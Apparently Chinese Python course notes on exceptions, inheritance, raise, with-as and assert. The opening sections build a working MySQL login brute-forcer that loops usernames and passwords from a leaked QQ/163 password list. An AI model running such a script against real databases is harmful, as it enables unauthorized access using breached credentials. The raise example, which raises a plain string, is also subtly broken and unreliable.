异常
安装了sql数据库,如何测试密码,利用异常,这是第一步。
import pymysql
def CheckPassword(passwordstr):
try:
db=pymysql.connect("127.0.0.1","root",passwordstr)
db.close()
print("密码正确",passwordstr)
except:
print("密码错误",passwordstr)
CheckPassword("111111")
爆破Mysql工具
整个逻辑跟之前差不多,先写入一个输入密码的chekpassword,那用什么输入,用之前qq的密码本,一个个试。
import pymysql
def CheckPassword(passwordstr):
try:
db=pymysql.connect("127.0.0.1","root",passwordstr)
db.close()
print("密码正确",passwordstr)
return True
except:
print("密码错误",passwordstr)
return False
passwordfilepath=r"Z:\D\第一阶段视频\20170531\NBdata\qqAnd163Password.txt"
passwordfile=open(passwordfilepath,"r")
while True:
line=passwordfile.readline()
if not line:
break
linelist=line.split(" # ")
password=linelist[0]
if CheckPassword( password):
break
else:
pass
passwordfile.close()
爆破账户密码
多了一个isOK来判断当出现正确密码时候,退出显示正确密码。
import pymysql
def CheckPassword(user,passwordstr):
try:
db=pymysql.connect("127.0.0.1",user,passwordstr)
db.close()
print("密码正确",user,passwordstr)
return True
except:
print("密码错误",user,passwordstr)
return False
passwordfilepath=r"Z:\D\第一阶段视频\20170531\NBdata\qqAnd163Password.txt"
passwordfile=open(passwordfilepath,"r")
userfilepath=r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\user1.txt"
userfile=open(userfilepath,"r")
while True:
userline=userfile.readline()
if not userline:
break
userline = userline[:-1] # 去除换行符
#print(userline)
isOK=False
while True:
line = passwordfile.readline()
if not line:
break
linelist = line.split(" # ")
password = linelist[0]
if CheckPassword(userline,password):
isOK=True
break
else:
pass
if isOK:
break
userfile.close()
passwordfile.close()
详细分析异常
异常有很多种:
try:
file=open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\Test.txt","r")
mystr=file.readline()#读取一行
print(mystr)
num=eval(mystr)
print(num/0)
except FileNotFoundError:
print("文件不存在")
except SyntaxError:
print("转化异常")
except ZeroDivisionError:
print("整除异常")
except: #其他异常之外的所有异常
print("其他异常")
else:
print("没有异常执行这一句")
finally:
print("有没有异常老子都要执行")
file.close()
#1.软件稳定性,把用户当作SB,处理用户不规则的输入
#2.尝试,密码破解,
继承
可以看出王思聪继承王健林的钱跟work了
class 王健林:
def __init__(self):
self.name="王健林"
self.mystr="先定一个小目标,赚它一个一亿"
self.money=200000000000
def work(self):
print("工作挣钱")
class 王思聪(王健林): #继承 (王健林)的money
def work(self):
print("花钱夜夜做新郎")
xiaowang=王思聪()
print(xiaowang.money)
print(xiaowang.work())
再看一个例子:我们可以发现子类继承的类跟父类重复了,会覆盖。
class 王健林:
def __init__(self):
self.name="王健林"
self.mystr="先定一个小目标,赚它一个一亿"
self.money=200000000000
#self.__wife
def work(self):
print("工作挣钱")
class 王思聪(王健林): #继承 (王健林)的money
def __init__(self):
王健林.__init__(self) #父类初始化
self.name="王思聪"
def work(self):
print("花钱夜夜做新郎")
#儿子类继承所有的非私有方法与属性
#儿子的属性与方法可以覆盖父亲类
xiaowang=王思聪()
print(xiaowang.money)
print(xiaowang.name)
print(xiaowang.work())
raise自定义异常
我们一旦出错这里会显示error,不写的话会出现raise的报错“11113”,
class Box:
def __init__(self,x,y,z):
if x<5 or x>10:
raise "11113" #提示出错,
self.x=x
self.y=y
self.z=z
try:
b1=Box(1,2,3)
except TypeError: #抓住错误,但是无法区分错误,
print("error")
with as的使用
with as的使用是自动关闭,我们逐行读取消耗内存很少,怎么关闭呢,就得用到with as了
#逐行读取,消耗内存很少,没有关闭
#for line in open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\dnfdb.txt","r",errors="ignore"):
# print(line)
#with as 自动关闭
with open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\dnfdb.txt","r",errors="ignore") as file:
for line in file:
print(line)
assert
出了错会直接报我们assert里的错误,若是没遇到错误则会正常运行。
def add(num1,num2):
assert (type(num1)==type(num2)),"你妹的不会判断类型"
print(num1+num2)
return num1+num2
#print(add(1,2))
#print(add("1","1"))
print(add(12,"1"))
'''
def div (num,divnum):
assert (divnum!=0),"你妹的脑子进水了传0干毛线"
return num/divnum
print(div(10,10))